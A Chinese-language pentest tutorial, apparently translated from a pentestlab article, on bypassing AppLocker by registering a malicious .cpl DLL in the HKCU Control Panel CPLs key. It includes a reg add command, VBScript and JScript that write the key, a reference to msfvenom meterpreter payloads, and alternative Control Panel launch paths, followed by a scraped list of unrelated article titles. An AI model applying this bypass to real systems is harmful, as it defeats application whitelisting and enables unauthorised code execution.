绕过AppLocker系列之控制面板的利用
Francesco Mifsud 发现,当启动控制面板时,将检查以下两个注册表位置,然后加载CPL。
HKLMSoftwareMicrosoftWindowsCurrentVersionControl PanelCPLs
HKCUSoftwareMicrosoftWindowsCurrentVersionControl PanelCPLs
问题就出在第二个注册表的位置,普通用户具有写入权限,所以可以在注册表中写入一个注册表键,该注册表将在控制面板启动时加载和执行恶意代码。唯一的条件是用户的系统允许打开控制面板和注册表。注册表二进制文件位于Windows文件夹内,默认情况下,AppLocker允许执行此文件夹内的所有内容。在大多数环境中也是允许控制面板运行的。
绕过AppLocker ——阻止 CMD 运行
第一步是创建一个DLL并将其重命名为.Cpl,以便它可以与控制面板一起执行。Metasploit 的Msfvenom可以创建一个自定义的DLL,其中可以包含一个嵌入的meterpreter有效负载或者Didier Stevens的 cmd DLL文件,可以用来绕过禁止cmd运行的限制。
以下命令将创建一个注册表键,这个注册表键的值将包含存储在主机上的CPL文件的路径。默认情况下,标准用户对自己的配置单元是具有写入权限的。
reg add "HKCUSOFTWAREMicrosoftWindowsCurrentVersionControl PanelCpls" /v pentestlab.cpl /t REG_SZ /d "C:pentestlab.cpl"
绕过AppLocker —— 将注册表键添加到注册表
如果cmd被禁用,可以使用注册表编辑器添加注册表项:
注册表编辑器 – 添加CPL注册表键
Francesco Mifsud还发布了两个脚本,可以在cmd和注册表编辑器被阻止时将注册表键添加到注册表中。
VBScript:
const HKEY_CURRENT_USER = &H80000001strComputer = "."Set objReg=GetObject( "winmgmts:{impersonationLevel=impersonate}!" & strComputer & "rootdefault:StdRegProv")strKeyPath = "SoftwareMicrosoftWindowsCurrentVersionControl PanelCPLs" objReg.CreateKey HKEY_CURRENT_USER,strKeyPathstrValueName = "pentestlabCPL" strValue = "C:pentestlabCPL.cpl" objReg.SetStringValue HKEY_CURRENT_USER,strKeyPath,strValueName,strValue
Jscript:
var obj = WScript.CreateObject("WScript.Shell"); obj.RegWrite("HKCUSoftwareMicrosoftWindowsCurrentVersionControl PanelCPLs", "Top level key"); obj.RegWrite("HKCUSoftwareMicrosoftWindowsCurrentVersionControl PanelCPLspentestlabCPL", "C:pentestlabCPL.cpl","REG_SZ");
从启动控制面板的那一刻开始,代码将被执行,cmd将被打开。
AppLocker Bypass – 通过控制面板命令提示符
在控制面板被阻止打开的情况下,可以使用以下位置作为启动控制面板的替代方法。
· C:windowssystem32control.exe
· AppDataRoamingMicrosoftWindowsStart MenuProgramsAccessoriesSystem ToolsControl Panel.lnk
· shell:::{5399E694-6CE5-4D6C-8FCE-1D8870FDCBA0}
· shell:::{26EE0668-A00A-44D7-9371-BEB064C98683}
· shell:::{ED7BA470-8E54-465E-825C-99712043E01C}
· My Control Panel.{ED7BA470-8E54-465E-825C-99712043E01C}
绕过AppLocker系列之控制面板的利用相关推荐
- 绕过AppLocker系列之MSBuild的利用
本文讲的是绕过AppLocker系列之MSBuild的利用,Microsoft已经在.NET框架中发布了许多可以编译和执行代码的二进制文件.最初引入了MSBuild,以便开发人员在不安装Visual ...
- 如何利用msxsl绕过AppLocker?
本文讲的是如何利用msxsl绕过AppLocker?, 0x00 前言 Casey Smith@subTee在twitter分享的一个技巧,使用包含微软签名的msxsl.exe能够执行JScript代 ...
- keras系列︱迁移学习:利用InceptionV3进行fine-tuning及预测、完美案例(五)
之前在博客<keras系列︱图像多分类训练与利用bottleneck features进行微调(三)>一直在倒腾VGG16的fine-tuning,然后因为其中的Flatten层一直没有真 ...
- ROS系统MoveIt玩转双臂机器人系列(三)--利用controller控制实际机器人
ROS系统MoveIt玩转双臂机器人系列(三)--利用controller控制实际机器人 注:本篇博文全部源码下载地址为:Git Repo. 1. 下载到本地后解压到当前文件夹然后运行:catkin_ ...
- 统计系列(四)利用Python进行假设检验
统计系列(四)利用Python进行假设检验 z检验 主要应用场景:在大样本量的总体比例检验 核心:两样本的总体比例差异 单样本比例检验 # 检验样本合格率与0.38是否有差异 import numpy ...
- 统计系列(三)利用Python进行参数估计
统计系列(三)利用Python进行参数估计 点估计 样本均值估计为总体均值,样本比例估计为总体比例. import numpy as npx = [1, 1, 0, 1, 0, 0, 1, 0, 1, ...
- 风险管理系列课程二:利用图技术优化反洗钱解决方案
风险管理系列课程 随着相互关联的全球金融市场在规模和复杂性上快速增加,风险评估和监控所面临的挑战变得日益艰巨.一些复杂的金融工具数量激增,如信用违约互换和抵押担保证券,而且一旦出错,就会付出数以万亿的 ...
- 【Linux_Fedora_应用系列】_3_如何利用Smplayer播放WMV格式的文件
在上一篇我们成功安装了视频播放器,并且成功安装里解码器[Linux_Fedora_应用系列]_2_如何安装视频播放器和视频文件解码 安装完的Smplayer的GUI的界面程序,可以播放FLV.AVI. ...
- VARCHART XGantt系列教程:如何利用颜色来丰富甘特图智能
VARCHART XGantt是一款功能强大的甘特图控件.其模块化的设计让您可以创建满足您和您的客户所需求的应用程序(我们领先的甘特图控件VARCHART XGantt可用于DotNET,Active ...
- python微信爬取教程_PYTHON爬虫之旅系列教程之【利用Python开发微信公众平台一】...
感谢大家的等待,好啦,都准备好瓜子.板凳,老司机要发车啦-- 本系列课程讲述"PYTHON爬虫之旅",具体大纲可参考:[PYTHON爬虫之旅]概要目录. 本节课讲述如何利用Pyth ...
最新文章
- 免费获取验证码60秒倒计时
- JQuery整体简化学习
- 一步步将 SAP Commerce Mock 应用部署到 SAP BTP Kyma Runtime
- 人类一败涂地邀请好友一直显示连接服务器,人类一败涂地怎么邀请好友 局域网创建房间方法图文教学-游侠网...
- LeetCode 1824. 最少侧跳次数(DP)
- 输出亲朋字符串(信息学奥赛一本通-T1133)
- Tomcat报错:The required Server component failed to start so Tomcat is unable to start
- 一般家用监控多少钱_安装空调一般多少钱
- Linux制作补丁与打补丁简单用法
- pxe安装linux系统工具,Linux的PXE自动化无人值守安装系统
- sql server2003的下载地址
- Activiti(新手)工作流对用户任务签收办理操作
- python 地震数据可视化
- 一键实现证件照背景的替换,Python 制作可视化GUI界面真香啊
- C/C++后端开发学习路线总结(附带实习学习经历分享)
- Flutter 3.0 极光推送
- 跌宕起伏的区块链行业2022年如何发展?10大行业趋势
- 物理学/数学中常用的“等号”
- 转:人生最优策略:你发现自己的天赋了吗?
- Python数学问题5:输入三个整数并由小到大进行输出
热门文章
- Maxima在线性代数的应用
- IJCAI 2022 | 求同存异:多行为推荐的自监督图神经网络
- 用JAVA时间类计算今天到指定日期的天数统计
- 今天终于知道了!阿里巴巴 P8、P9 及以上到底是什么水平?
- Android Q版本实现自动连接WiFi
- 李开复写给中国大学生的七封信(2/7)
- 用python写飞机大战过几天不能运行了_最近写的一个飞机大战的程序,写到一半有一个已经写好的函数但不能运用,强行运行程序秒退,百思不得其姐...
- 3DES解密之网页解密(xhr断点及追栈)
- 三、Sails 中使用Jwt进行身份认证
- 集合20210801